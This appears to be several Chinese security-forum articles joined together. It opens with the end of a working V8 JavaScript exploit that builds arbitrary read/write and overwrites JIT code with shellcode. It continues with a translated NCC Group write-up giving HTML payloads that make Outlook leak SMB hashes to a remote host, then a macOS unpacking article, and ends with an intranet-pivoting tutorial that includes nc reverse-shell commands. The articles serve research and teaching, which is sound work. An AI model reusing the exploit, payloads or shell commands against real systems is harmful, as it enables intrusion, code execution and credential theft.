if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// Exploitation
let bufs = [];
let objs = [];
// 我们要写的jit函数
function func_to_overwrite() {
let sum = 0;
for (let i = 0;i < 0x100; i++) {
sum += i;
}
return sum;
}
// 多次运行函数，使得函数被jit编译
for (let i = 0;i < 1000;i++) {
func_to_overwrite();
}
%DebugPrint(func_to_overwrite);
// 让oobArray为double类型的，方便读取
let oobArray = [1.1];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
// 注意这里length不能为0，会报错，可能原因是为0被回收之后被重新分配了
// （没有深究原因）
oobArray.length = 5;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
// 这里用0xdead标志后面的属性为jit函数对象的指针
let obj = {'a': 0x4321, 'b': func_to_overwrite};
//%DebugPrint(obj);
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
let jit_func_obj_ptr = 0;
// 现在我们可以越界访问了
// 首先需要泄露jit对象指针的地址
for (let i = 0;i < maxSize; i++) {
// 越界搜索obj的标志
let val = Int64.fromDouble(oobArray[i]);
if (val == 0x432100000000) {
console.log('found');
jit_func_obj_ptr = Int64.fromDouble(oobArray[i + 1]) - 1;
console.log('jit func pointer: ' + jit_func_obj_ptr);
break;
}
}
if (jit_func_obj_ptr === 0) {
throw new Error("jit func not found");
}
// 接下来需要更改backing store导致任意读写
let changed_idx = 0;
// 同样需要先找到我们能更改的值
for (let i = 0;i < maxSize; i++) {
let val = Int64.fromDouble(oobArray[i]);
if (val == 0x123400000000) {
console.log('found array buffer');
// 更改一下array buffer的length，这样我们就可以知道是哪个
// array buffer被改动了
changed_idx = i;
oobArray[i] = (new Int64(0x121200000000)).asDouble();
oobArray[i + 3] = (new Int64(0x1212)).asDouble();
break;
}
}
if (changed_idx === 0) {
throw new Error("array buffer not found");
}
let arw = null;
for (let i = 0;i < bufs.length; i++) {
if (bufs[i].byteLength == 0x1212) {
// 找到了改动之后的buffer
console.log('changed buffer found');
// 封装成一个用来进行任意读写的object
class ArbitraryReadWrite {
constructor(changed_idx_oob, changed_idx_bufs) {
this.idx_in_oob_arr = changed_idx_oob;
this.idx_in_bufs_arr = changed_idx_bufs;
}
read(addr) {
// 更改backing store
let i = this.idx_in_oob_arr;
oobArray[i + 1] = addr.asDouble();
//%DebugPrint(bufs[this.idx_in_bufs_arr]);
oobArray[i + 2] = addr.asDouble();
let arr = new Float64Array(bufs[this.idx_in_bufs_arr], 0, 0x10);
//%DebugPrint(arr);
return Int64.fromDouble(arr[0]);
}
write(addr, vals) {
let i = this.idx_in_oob_arr;
oobArray[i + 1] = (new Int64(addr)).asDouble();
oobArray[i + 2] = (new Int64(addr)).asDouble();
let arr = new Uint8Array(bufs[this.idx_in_bufs_arr]);
arr.set(vals);
}
}
arw = new ArbitraryReadWrite(changed_idx, i);
break;
}
}
if (arw === null) {
throw new Error("arbitrary read write object construcion failed");
}
/* 对于optimized function, +48 对应Code object，紧接在Code object之后的就是jit代码
* Code object 的size是96, 注意最后末位的flag bit
* （不过对于如何从Optimized Function里得到48这个偏移量，我暂时还没有找到 */
let code_addr = arw.read(Add(jit_func_obj_ptr, 48));
console.log('code addr ' + code_addr);
let jit_code_addr = Add(code_addr, 95);
console.log('jit code addr ' + jit_code_addr);
// 现在可以写shellcode了
let shellcode = [0x90, 0x1, 0x2, 0x3, 0x90];
arw.write(jit_code_addr, shellcode);
// while (1) {}
func_to_overwrite();
## 一些我遇到的问题
### 关于找代码
`v8`的代码用`C++`写的，有一些地方是非常乱的。。特别是在一个超大的class里找想要的constant，以及一些引用，非常难找，还好我找到了[这个用来看源码的网站](https://v8.paulfryzel.com/docs/master/)，同时支持了一些索引，会稍微比直接自己找容易一些。不过即便是如此，还是有一些代码我没办法快速找到，比如没有找到没有optimized的和optimized的函数的具体结构。各个对象的具体结构，本身也是一个非常难找的，只能从constant里面和注释去猜，我估计还是需要更细致的去阅读一些代码才能够找到这一部分的信息。
### 关于调试
调试也是其中一个非常麻烦的地方，主要是gdb是获取不到js里边的变量信息的，这样的话连拿到地址都是一个比较麻烦的问题，不过还好最后搜到`v8`提供了`--allow-natives-syntax`，可以开启一些原生函数，包括很重要的`%DebugPrint`，可以把变量的地址打印出来，可惜依然没有办法直接获取到某个对象的清晰内存结构（或许可以通过阅读这个函数的实现去得到内存结构的信息?）。
所以最后的调试方法，通过`%DebugPrint`打印出需要的各种信息，然后如果需要断在某个地方，就写个死循环，然后通过`gdb`插件一般都拥有的`ctrl
c`断下来的功能，然后通过打印出来的地址去查看结构。不过这样的问题就在于看不到某个结构对应的是什么东西，所以还是要靠打印出来的信息去对应。这个地方目前我还是在摸索当中，希望有大佬可以指点。。
### 关于各种基础知识
刚开始学习这一块内容的时候是觉得自己缺少很多相关知识的，肯定需要阅读很多资料，但是事实上我没有找到比较好的资料汇总，所以我自己建立了一个`github`
repo，把我过程当中搜到的，其他地方见到的资料都汇总在了一起，地址在[这里](https://github.com/Escapingbug/awesome-browser-exploit)，欢迎各位把找到的资料通过提交`pull request`，一起来建立这个资料库。
## 总结
浏览器项目太庞大了，到现在为止，光是js引擎就足有不低的复杂度，还需要很多的学习。另外，即使是如此精妙的项目，也具有大量的漏洞，应该也是个不错的研究方向。 | 社区文章 |
# Outlook中的SMB哈希劫持和用户跟踪
##### 译文声明
本文是翻译文章，文章来源：https://www.nccgroup.trust/
原文地址：<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
在受害者打开或者仅仅是查看电子邮件后，Microsoft（MS）Outlook可能会被用来向外部发送SMB握手包。
即使SMB端口被阻止，也会发送WebDAV请求。 这可以用来通过在外部接收SMB哈希去破解受害者的密码，或者在受害者查看电子邮件时接收通知。
此问题已于2017年7月部分修补（CVE-2017-8572 [1]）。
根据微软安全响应中心（MSRC）的说法，2017年12月发布的CVE-2017-11927 [2]也修补了一些payloads。
该补丁已于2018年5月更新，以解决本报告中提到的其他问题。
## 介绍
用户即使不确定其内容通常也会打开新的无害的电子邮件去查看它们包含的内容。这样足以让攻击者劫持SMB
HASH或至少确定受害者是否查看了该特定电子邮件，来确定MS
Outlook邮件客户端是否正在使用并且用户已连接到Internet。当阅读窗格（预览页面）可见时（默认），只需单击电子邮件主题即可充分利用此特性。
此特性是在NCC Group的研究过程中发现的，并在Outlook
2016和2010中进行了测试，其默认设置中禁用了外部图像。这个问题已于2017年3月向MS报告。
我们还想提醒下，这一行为已经作为我们的Piranha网络钓鱼平台的一项功能实施。该平台是由NCC
Group开发的，旨在帮助企业识别他们在网络钓鱼方面的人员，流程和技术故障，以便了解改善缓解网络钓鱼攻击的风险[3]。
## 研究和故事
在进行评估时，我收到了Outlook 2010中的一封HTML电子邮件，其中包含一个类似于以下内容的图像标记：
<img src="//example.com/test/image.jpg" >
我可以看到Outlook在打开该电子邮件后正在搜索某些内容，并且完全打开它比平时花费的时间更长。我很快意识到Outlook实际上使用URL“\
example.com test image.jpg”并发送SMB请求到“example.com”。
尽管即使提供的SMB路径有效，它也不会加载图片，但它可以将SMB HASH发送到任意位置。这种攻击在Outlook
2016上无效，但它使我开始了一个小型研究项目，尝通过使用不同的URI方案和特殊payload接受URI的不同HTML标记。
我设法通过设计一个使用ASPOSE.Email [4]和Microsoft Office
Interop库的快速ASP.NET应用程序来测试具有不同目标的已知URI方案列表。具有较小变化的cure53
HTTPLeaks项目[5]用来生成电子邮件的HTML模板。本研究中使用的C＃代码，URI
Schemes，公式和HTML模板可以在以下GitHub项目中找到：
https://github.com/nccgroup/OutlookLeakTest
为了减少复杂性，Sysinternals Suite的Wireshark和Process Monitor被用来检测远程和本地文件系统调用。
## 发现
Outlook在打开精心制作的HTML电子邮件时发送了外部SMB / WebDAV请求。 这可能会被滥用来劫持受害者的SMB
hash或确定收件人是否查看过邮件。
此问题在Outlook默认设置阻止加载外部资源（如图像文件）可以利用。
**远程执行**
尽管”\”模式被Outlook阻止，但仍发现许多其他模式和URI方案，这些模式和URI方案强制Outlook将请求发送到远程服务器。
下表显示了已知的矢量：
**本地文件系统执行**
这种方式也可用于识别在本地文件系统上定位文件的URI方案。 这非常有趣，特别是当使用映射网络共享（具有写权限）时，或者在文件系统上可以删除文件时。
确定了以下URI方案：
**一些payload 例子**
某些URI方案（远程/本地）仅在某些HTML代码中使用时才起作用。
虽然在测试过程中只发现以下payload有效，但这些payload不能被认为是唯一能够加载资源的payload。
**Image tag:**
<img src="//example.com/anon/test.txt" >
**Base tag + image tag:**
<base href="//example.com/IDontExist/">
<img>
**Style tag:**
</style>
@import 'its:/example.com/foo1/test';
@import url(its:/example.com/foo2/test);
</style>
**Body tag (Image):**
<body background="its:/example.com/IDontExistNew/foobar">
**Input tag (Image):**
<input type="image" src="its:/example.com/IDontExistNew/foobar" name="test" value="test">
**Link tag (Style):**
<link rel="stylesheet" href="its:/example.com/IDontExistNew/foobar" />
**VML tag (Image):**
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
<v:fill src="its:/example.com/IDontExistNew/foobar" />
</v:background>
所有上述HTML标签的组合也可用于增加远程执行的机会。
payload也可以使用像这样的方法隐藏在电子邮件中：
<span class="show" style="overflow:hidden; float:left; display:none; line-height:0px;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
This part is hidden
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
<v:fill src="its:/example.com/IDontExistNew123456/foobar" />
</v:background>
</span>
当用户以纯文本格式查看电子邮件时，攻击者在发送电子邮件时可以使用不同的MIME类型来隐藏payload。
因此，只有以HTML格式查看电子邮件的用户才能成为目标用户。 这也可能被滥用，以诱使普通用户查看HTML格式的电子邮件来执行攻击。
## Piranha 钓鱼平台
在识别出这个漏洞后，我们就可以在红队的参与下在其他地方尝试。使用我们的Piranha网络钓鱼平台，我们制作了两封HTML邮件;第一个是明目张胆的钓鱼电子邮件，第二个是基于实际的批量营销电子邮件。在这两种情况下，在Piranha中都编辑了HTML源代码，以包含指向基于Internet的系统运行Responder的“其”URL的CSS
[@import](https://github.com/import "@import")。
首先，一些有针对性的用户将明显的网络钓鱼电子邮件转发给他们的IT部门，在此过程中揭示了他们自己的IT管理员和他们的IT管理员的hash。第二，隐形的电子邮件被发送给十个用户。其中8位在公司网络外收到电子邮件（正确阻止了445端口的出站流量），导致他们的哈希被捕获。值得注意的是，这比我们观察我们的自动化式的Piranha
用户运行的活动有大约四倍的成功概率，这些用户将受害者引诱到虚假的登录页面;使用合法的批量营销电子邮件作为转发人也阻止任何人举报。
## MS 回复
这个问题已于2017年3月8日向MS报告，最初并未满足其安全服务标准，因为“这需要用户打开不可信的电子邮件”。
然而，在我们向他们提供了更多关于在我们的钓鱼攻击评估中利用此问题的证据（这使我们的攻击力增强了四倍）后，MS将其视为安全问题。
这个问题最初是在2017年7月下旬部分修补的[1]。
这个补丁没有停止“mk：[@MSITStore](https://github.com/MSITStore "@MSITStore")”方案。
根据MSRC的说法，CVE-2017-11927 [2]（由于我们的报告最初没有公布）已经纠正了一些有效载荷。
该修补程序在2018年5月进行了更新，以解决本报告中包含的其他问题。
## 无需补丁程序的解决方法
A）MS建议不愿意或无法处理网络边缘阻塞的情况是使用Windows防火墙执行此操作客户关注此类攻击，这已在[6]中记录。
B）基于MS的建议，解决方法是禁用Outlook中的电子邮件预览选项，并立即删除未知电子邮件而不打开它们。我们认为这种策略并不可靠，因为电子邮件用户的信任可以以多种方式被利用，特别是当电子邮件拥有迷人或熟悉的主题或其发件人看起来很熟悉时。
C）还建议考虑阻止对端口445和139的外部请求。虽然此解决方案不会阻止Outlook发送DNS或WebDAV请求（可用于跟踪），但它确实会打破SMB哈希劫持攻击。在我们的测试中，我们没有观察到SMB散列通过WebDAV请求发送出去。请注意，此解决方案不会解决在本地文件系统上定位文件的问题。
D）我们建议以纯文本形式打开Outlook中的所有电子邮件，以阻止此类攻击和其他类似攻击。为了以纯文本格式查看所有传入的电子邮件，请勾选下面的“以纯文本形式阅读”复选框：
Outlook>文件菜单>选项>信任中心>信任中心设置…>电子邮件安全
尽管用户通过这种方式阅读电子邮件不方便且困难，但这是目前最强大的解决方案。这与以纯文本查看HTML网页类似，可能会破坏使用浏览器的全部目的。当需要在HTML中查看可信电子邮件时，可能会将此选项更改为默认值（Outlook
2016提供了一种用HTML查看电子邮件的简单更改）。
除了上述以及类似于A点之外，用户应该始终选择强密码，并且在合适且有益的情况下，应该使用合适的Restrict
NTLM策略来保护域用户。请注意，通过Restrict NTLM可用的限制可能会与通过使用网络隔离和基于主机的防火墙施加的访问控制重叠。
在某些环境中，后一种方法可能比Restrict NTLM
策略集更灵活或直接管理。在这两种情况下，了解主机之间的合法流量是定义和审计有效控制的基础。在推导任何策略和部署新策略之前，强烈建议使用Restrict
NTLM 审核选项和设置。这将最大限度地减少意外阻止合法连接的可能性。
## 在RTF中使用OLE的另一个类似问题
虽然我们正在等待最后一个补丁，但在[7]（CVE-2018-0950）上发布了一个类似的问题，使用SMB窃取密码哈希。
虽然它使用OLE载体，但它的影响是相同的。
## 参考
[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8572
[2] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11927
[3] https://www.nccgroup.trust/uk/our-services/security-consulting/managed-and-hosted-security-services/vulnerability-management-and-detection/phishing-simulation-piranha/
[4] https://downloads.aspose.com/email/net
[5] https://github.com/cure53/HTTPLeaks
[6] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[7] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html | 社区文章 |
作者：[非虫](https://feicong.github.io/)
### 0x01 应用场景
此处讨论的脱壳不是class-dump这类脱壳，而是指第三方的软件压缩与加密壳，例如upx这类壳在iOS/macOS上的脱壳。
App
Store上的软件是不允许这类壳程序存在的，但在iOS越狱插件开发领域与macOS第三方软件提供商发布平台，自定义加密的MachO与dylib随处可见，到目前为此，没有在网络上看到关于这类程序脱壳方法的研究与讨论，本篇与大家讨论的就是在这种情况下，如何优雅的脱壳！
### 0x02 找寻脱壳点
首先，虚拟机壳与混淆壳不在本篇讨论范围中，在iOS/macOS平台上，如果有虚拟机壳，也是很久以后的事情了，目前市在上见到最多的可能要属upx类的压缩型的壳，这类壳有一个明显的特点：壳初始运行完后，会将代码的控制权交回给原程序，并且内存中已经是存放好了完整的解密代码，脱壳的思路与Android平台上upx的脱壳一样，主要是找准脱壳时机！
在Android时代，脱upx有一个优雅的方法，就是对DT_INIT的处理部分下断点，当linker加载完so，要执行DT_INIT段指向的初始化函数指针时，对内存中的so进行dump来达到脱壳的目的，到了macOS平台上，就采取同样的思路来开始脱壳探索。
首先是编写测试代码：
#import <Foundation/Foundation.h>
#import <time.h>
#import <dlfcn.h>
#import <stdio.h>
#import <stdlib.h>
#import <unistd.h>
#import <fcntl.h>
#import <string.h>
// clang -x objective-c -std=gnu99 -fobjc-arc -flat_namespace -dynamiclib -o ./libunderstandpatcher.dylib understandpatcher.m
static double (*orig_difftime)(time_t time1, time_t time0) = NULL;
typedef double (*orig_difftime_type)(time_t time1, time_t time0);
__attribute__((constructor))
void init_funcs()
{
printf("--------init funcs.--------\n");
void * handle = dlopen("libSystem.dylib", RTLD_NOW);
orig_difftime = (orig_difftime_type) dlsym(handle, "difftime");
if(!orig_difftime) {
printf("get difftime() addr error");
exit(-1);
}
。。。
printf("--------init done--------\n");
}
...
这只是代码的片断，在下写的macOS平台上understand程序的破解补丁，执行以下代码编译生成dylib：
clang -x objective-c -std=gnu99 -fobjc-arc -flat_namespace -dynamiclib -o ./libunderstandpatcher.dylib understandpatcher.m
完事以后使用MachOView查看生成的dylib，看看init_funcs()以何种形式在Mach-O中存在，如图所示：
有两个地方需要注意：LC_FUNCTION_STARTS,__DATA,mod_init_func。
#### 0x2.1 LC_FUNCTION_STARTS
这个加载命令是一个macho_linkedit_data_command结构体，从名称上判断，它是一个指向了函数起始执行的指针。它的内容如下：
$ otool -l ./libunderstandpatcher.dylib | grep LC_FUNCTION_STARTS -A 3
cmd LC_FUNCTION_STARTS
cmdsize 16
dataoff 8504
datasize 8
dataoff字段的值8504（0x2138）,在MachOView中看到，它指向Function Starts第一项的__init_funcs()函数。
#### 0x2.2 __DATA,mod_init_func
__DATA,__mod_init_func是一个Section，它由编译器生成添加到MachO中，用来标识MachO加载完成后要执行的初始化函数。它的内容如下：
$ otool -s __DATA __mod_init_func ./libunderstandpatcher.dylib
./libunderstandpatcher.dylib:
Contents of (__DATA,__mod_init_func) section
0000000000001050 00 0d 00 00 00 00 00 00
位于文件偏移0x1050处指向的是一个个的初始化函数指针，这里只有一个，它的值是0xD00，其实就是__init_funcs()函数所在的地址：
$ otool -tv ./libunderstandpatcher.dylib
./libunderstandpatcher.dylib:
(__TEXT,__text) section
_init_funcs:
0000000000000d00 pushq %rbp
0000000000000d01 movq %rsp, %rbp
0000000000000d04 subq $0x40, %rsp
0000000000000d08 leaq 0x1e9(%rip), %rdi
0000000000000d0f movb $0x0, %al
0000000000000d11 callq 0xe82
0000000000000d16 leaq 0x1f8(%rip), %rdi
0000000000000d1d movl $0x2, %esi
0000000000000d22 movl %eax, -0x14(%rbp)
0000000000000d25 callq 0xe70
0000000000000d2a leaq 0x1f4(%rip), %rsi
0000000000000d31 movq %rax, -0x8(%rbp)
0000000000000d35 movq -0x8(%rbp), %rdi
0000000000000d39 callq 0xe76
0000000000000d3e movq %rax, 0x35b(%rip)
0000000000000d45 cmpq $0x0, 0x353(%rip)
0000000000000d4d jne 0xd6e
0000000000000d53 leaq 0x1d4(%rip), %rdi
0000000000000d5a movb $0x0, %al
0000000000000d5c callq 0xe82
0000000000000d61 movl $0xffffffff, %edi
0000000000000d66 movl %eax, -0x18(%rbp)
0000000000000d69 callq 0xe7c
0000000000000d6e movq 0x323(%rip), %rax
0000000000000d75 movq 0x304(%rip), %rsi
0000000000000d7c movq %rax, %rdi
0000000000000d7f callq 0xe5e
0000000000000d84 movq %rax, %rdi
0000000000000d87 callq 0xe64
0000000000000d8c xorl %ecx, %ecx
0000000000000d8e movl %ecx, %edi
0000000000000d90 movq %rax, -0x10(%rbp)
0000000000000d94 movq -0x10(%rbp), %rax
0000000000000d98 movq %rax, -0x20(%rbp)
0000000000000d9c callq 0xe88
0000000000000da1 leaq 0x2b0(%rip), %rsi
0000000000000da8 movq 0x2d9(%rip), %rdi
0000000000000daf movq -0x20(%rbp), %rdx
0000000000000db3 movq %rdi, -0x28(%rbp)
0000000000000db7 movq %rdx, %rdi
0000000000000dba movq -0x28(%rbp), %rdx
0000000000000dbe movq %rsi, -0x30(%rbp)
0000000000000dc2 movq %rdx, %rsi
0000000000000dc5 movq %rax, %rdx
0000000000000dc8 movq -0x30(%rbp), %rcx
0000000000000dcc callq 0xe5e
0000000000000dd1 movq -0x10(%rbp), %rax
0000000000000dd5 movq 0x2b4(%rip), %rsi
0000000000000ddc movq %rax, %rdi
0000000000000ddf callq 0xe5e
0000000000000de4 leaq 0x178(%rip), %rdi
0000000000000deb movb %al, -0x31(%rbp)
0000000000000dee movb $0x0, %al
0000000000000df0 callq 0xe82
0000000000000df5 xorl %r8d, %r8d
0000000000000df8 movl %r8d, %esi
0000000000000dfb leaq -0x10(%rbp), %rcx
0000000000000dff movq %rcx, %rdi
0000000000000e02 movl %eax, -0x38(%rbp)
0000000000000e05 callq 0xe6a
0000000000000e0a addq $0x40, %rsp
0000000000000e0e popq %rbp
0000000000000e0f retq
#### 0x2.3 dyld执行初始化函数过程
dyld如何执行初始化函数才是我们需要重点关注的。下载dyld源码查看，它启动运行的第一个方法dyldbootstrap::start()代码如下：
uintptr_t start(const struct macho_header* appsMachHeader, int argc, const char* argv[], intptr_t slide, const struct macho_header* dyldsMachHeader, uintptr_t* startGlue)
{
// if kernel had to slide dyld, we need to fix up load sensitive locations
// we have to do this before using any global variables
if ( slide != 0 ) {
rebaseDyld(dyldsMachHeader, slide);
}
// allow dyld to use mach messaging
mach_init();
// kernel sets up env pointer to be just past end of agv array
const char** envp = &argv[argc+1];
// kernel sets up apple pointer to be just past end of envp array
const char** apple = envp;
while(*apple != NULL) { ++apple; }
++apple;
// set up random value for stack canary
__guard_setup(apple);
#if DYLD_INITIALIZER_SUPPORT
// run all C++ initializers inside dyld
runDyldInitializers(dyldsMachHeader, slide, argc, argv, envp, apple);
#endif
// now that we are done bootstrapping dyld, call dyld's main
uintptr_t appsSlide = slideOfMainExecutable(appsMachHeader);
return dyld::_main(appsMachHeader, appsSlide, argc, argv, envp, apple, startGlue);
}
在开启DYLD_INITIALIZER_SUPPORT的情况下，会调用runDyldInitializers()执行Mach-O的初始化方法，i当然，目前dyld是支持初始化方法执行的，runDyldInitializers()代码如下：
static void runDyldInitializers(const struct macho_header* mh, intptr_t slide, int argc, const char* argv[], const char* envp[], const char* apple[])
{
for (const Initializer* p = &inits_start; p < &inits_end; ++p) {
(*p)(argc, argv, envp, apple);
}
}
这段代码从inits_start到inits_end之间循环获取Initializer方法并执行，Initializer与这两个地址定义如下：
typedef void (*Initializer)(int argc, const char* argv[], const char* envp[], const char* apple[]);
extern const Initializer inits_start __asm("section$start$__DATA$__mod_init_func");
extern const Initializer inits_end __asm("section$end$__DATA$__mod_init_func");
可以看出，dyld定位与执行初始化方法是通过”__DATA$mod_init_func”节区完成的。
了解了dyld加载执行初始化方法的地方，接下来就是如何脱壳了！
### 0x03 如何动手
壳程序加载完成，第一件事要做的就是自己或者调用dyld来执行初始化方法，因此，使用任意一款调试器对runDyldInitializers()下断即可。
断点到达后对内存中的MachO进行dump就完成脱壳了，当然对于防内存dump也是有一些tricks的，逆向搞过Hopper主程序的人就会有感触，以后有机会与大家讨论一下！
最后，Mach-O的dump与ELF不太一样，更加简单与完整，这里不再赘述了！
* * * | 社区文章 |
## 写在最前
**先知技术社区独家发表本文，如需要转载，请先联系先知技术社区或本人授权，未经授权请勿转载。**
## 0x00 前言
在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见，这时我们就需要把内网机器流量转到边缘机器上再进行访问，内网流量转出来的方法很多，在下面就介绍几种常见的方法
## 0x01 环境介绍
本地环境搭建：
边缘机器：
windows 7
ip:192.168.10.15（外）
192.168.52.143（内）
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器：
windows 2008
ip:192.168.10.3
kali:
msf5:192.168.10.14
msf6:192.168.10.11
## 0x02 EarthWorm
将ew_for_windows上传到边缘机器
1.正向连接
适用于目标机器拥有一个外网ip
在win7机器上执行
ew -s ssocksd -l 888
监听本机888端口。然后在2008r2机器上使用proxifier进行连接
2.反向连接
适用于边缘机器无公网ip
攻击机器上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
对外1234端口转发到1080端口
然后边缘机器连接
ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234
## 0x03 Neo-reGeorg
注：这里需要python环境，在2008R2上弄总是出错，切到物理机进行实验，原理相同
生成文件
python neoreg.py generate -k 123456
在neoreg_servers目录下生成了木马文件
这里web机器解析php，所以我上传一个tunnel.php的马到web机器（win7）上
攻击机连接
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php
## 0x04 Venom
攻击机器上执行
admin.exe -lport 9999
边缘机器（win7）执行
agent.exe -rhost 192.168.10.3 -rport 9999
攻击机查看反弹成功
执行命令
goto 1
socks 6666
## 0x05 ssf
1.正向连接
把certs文件夹和ssfd上传到边缘机器
边缘机器开启1333端口
ssfd.exe ‐p 1333
攻击机连接边缘机器的1333端口，并将数据转发给1222端口
ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15
2008r2出问题，换到物理机上执行
2.反向连接
攻击机本地监听1234端口，命令如下：
ssfd.exe ‐p 1234
边缘机器连接1234端口，并将数据转发到12345端口，命令如下：
ssf.exe ‐F 12345 ‐p 1234 192.168.10.3
此处没有实验成功，还是写下步骤
本地socks代理连接127.0.0.1 12345端口
## 0x06 frp
攻击机设置frps.ini
[common]
bind_port = 6666
运行如下命令：
frps.exe -c frps.ini
在边缘机器设置frpc.ini
[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5
执行如下命令：
frpc.exe ‐c frpc.ini
监听本地7777端口
## 0x07 msf
在msf6下只剩下了socks_proxy这个模块
还是先修改proxychains4.conf这个配置文件
添加路由使用模块
这里注意一下，我们在运行之前先show options一下，发现默认是socks5代理运行
如果想使用socks4a代理，添加如下语句即可
set version 4a
修改浏览器配置
成功访问内网资源
拓展：portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地，并且监听，使用方法如下
portfwd add -l 3389 -r 192.168.52.138 -p 3389
然后我们访问本地3389
## 0x08 nc
1.正向连接
需要目标有公网ip
目标机器
nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe windows
攻击机器
nc <目标机器ip> 4444
2.反向连接
攻击机器监听本地1234端口
nc -lvp 1234
目标机器执行
nc <ip> 1234 -e /bin/sh linux
nc <ip> 1234 -e cmd.exe windows
在一般情况下目标机器是没有nc的，这里可以用其他工具或者编程语言来代替nc
python反向shell
攻击机器：
nc -lvp 2222
目标机器：
